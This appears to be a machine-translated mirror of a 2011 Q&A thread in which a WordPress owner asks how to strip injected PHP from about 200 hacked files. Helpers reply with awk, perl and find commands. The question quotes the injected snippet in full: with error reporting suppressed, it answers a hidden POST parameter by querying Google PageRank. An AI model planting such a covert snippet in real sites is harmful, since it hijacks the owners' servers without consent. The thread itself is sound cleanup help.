2011-05-25 62 views
3

我有两个WordPress的安装,黑客试图注入一些PHP代码到现有的PHP文件什么是合适的grep + sed语法?

没什么大不了的,但现在我不得不从约200文本文件在多个子的去除约20行文字目录,只是没有用的sed弄明白的grep &不够好......

什么命令来搜索“黑客WordPress的”对所有的* .php文件(包括子目录)的文件夹中的语法包含以下文本片段,然后删除片段?

<?php 
//{{56541616 

GLOBAL $alreadyxxx; 
if($alreadyxxx != 1) 
{ 
$alreadyxxx = 1; 
$olderrxxx=error_reporting(0); 
function StrToNum($Str, $Check, $Magic) 
{ 
    $Int32Unit = 4294967296; 
    $length = strlen($Str); 
    for ($i = 0; $i < $length; $i++) { 
     $Check *= $Magic; 
     if ($Check >= $Int32Unit) { 
      $Check = ($Check - $Int32Unit * (int) ($Check/$Int32Unit)); 
      $Check = ($Check < -2147483648) ? ($Check + $Int32Unit) : $Check; 
     } 
     $Check += ord($Str{$i}); 
    } 
    return $Check; 
} 
function HashURL($String) 
{ 
    $Check1 = StrToNum($String, 0x1505, 0x21); 
    $Check2 = StrToNum($String, 0, 0x1003F); 

    $Check1 >>= 2; 
    $Check1 = (($Check1 >> 4) & 0x3FFFFC0) | ($Check1 & 0x3F); 
    $Check1 = (($Check1 >> 4) & 0x3FFC00) | ($Check1 & 0x3FF); 
    $Check1 = (($Check1 >> 4) & 0x3C000) | ($Check1 & 0x3FFF); 

    $T1 = (((($Check1 & 0x3C0) << 4) | ($Check1 & 0x3C)) <<2) | ($Check2 & 0xF0F); 
    $T2 = (((($Check1 & 0xFFFFC000) << 4) | ($Check1 & 0x3C00)) << 0xA) | ($Check2 & 0xF0F0000); 

    return ($T1 | $T2); 
} 

function CheckHash($Hashnum) 
{ 
    $CheckByte = 0; 
    $Flag = 0; 

    $HashStr = sprintf('%u', $Hashnum) ; 
    $length = strlen($HashStr); 

    for ($i = $length-1; $i >= 0; $i--) { 
     $Re = $HashStr{$i}; 
     if (1 === ($Flag % 2)) { 
      $Re += $Re; 
      $Re = (int)($Re/10) + ($Re % 10); 
     } 
     $CheckByte += $Re; 
     $Flag ++; 
    } 

    $CheckByte %= 10; 
    if (0 !== $CheckByte) { 
     $CheckByte = 10 - $CheckByte; 
     if (1 === ($Flag % 2)) { 
      if (1 === ($CheckByte % 2)) { 
       $CheckByte += 9; 
      } 
      $CheckByte >>= 1; 
     } 
    } 

    return '7'.$CheckByte.$HashStr; 
} 

function getpr($url) 
{ 
    $ch = CheckHash(HashURL($url)); 
    $file = "http://toolbarqueries.google.com/search?client=navclient-auto&ch=$ch&features=Rank&q=info:$url";; 
    $data = file_get_contents($file); 
    $pos = strpos($data, "Rank_"); 
    if($pos === false){return -1;} else{ 
     $pr=substr($data, $pos + 9); 
     $pr=trim($pr); 
     $pr=str_replace(" 
",'',$pr); 
     return $pr; 
    } 
} 
if(isset($_POST['xxxprch'])) 
{ 
    echo getpr($_POST['xxxprch']); 
    exit(); 
} 
error_reporting($olderrxxx); 
} 

//}}18420732 
?> 
+0

我使用的是Ubuntu 11.04,所以无论grep和sed版本是什么, – 2011-05-25 22:40:36

回答

2

我不会用sed和grep为 - 无论是运行在专用线,可以不记得以前什么来。我通常使用awk。这是大多数awk教程在非常基础之后开始的事情。基本上,你创建了三个匹配块,一个匹配开头,一个匹配关闭,一个匹配其余。在“打开”和“关闭”中,您可以设置或重置布尔值以跟踪是否打印当前行。在处理其余行时,您可以打印或不打印,具体取决于此布尔值。

另外,请确保在运行之前备份文件。你不会是第一个因打字错误而受到警惕的人。

 
/startsequence/ { ignoring=true; } 
/endsequence/  { ignoring=false; } 
{ if (!ignoring) print } 

通过自己的有效起始&末端序列替换startsequence和endsequence。如果这些数字实际上始终存在,请使用这些数字。我没有检查过(因为我现在在一个cygwin-less的Windows机器上),但是确实认为它可行。受范例启发here 编辑:添加示例

+0

我听说过awk,但从未检查过它。我现在会研究它,并希望我能弄明白。谢谢! – 2011-05-26 00:25:33

+0

You ** do **可以在'sed'和'awk'中使用'/ startpat /,/ endpat /'语法! – progo 2011-07-02 09:36:57

0

使用perl;

find "hacked wordpress" -iname \*.php -print |\ 
xargs perl -0777 -i -pe 's:\s*<\?php\s*//\{\{56541616.*?//\}\}18420732\s*\?>\s*::s;' 

这应该从每个.php文件中删除整个片段。

DRY RUN FIRST - 如此测试临时副本。

0

我没有测试此。但这个想法是正确的,我希望:

find ./hacked wordpress -name "*.php"|xargs awk '/^<?php/NP=1,/?>$/NP=0{if(NP=0) print}' 
+0

从他的.php文件中删除所有PHP代码。我很确定他只是想要删除这些代码段。 – dascandy 2011-05-26 11:45:17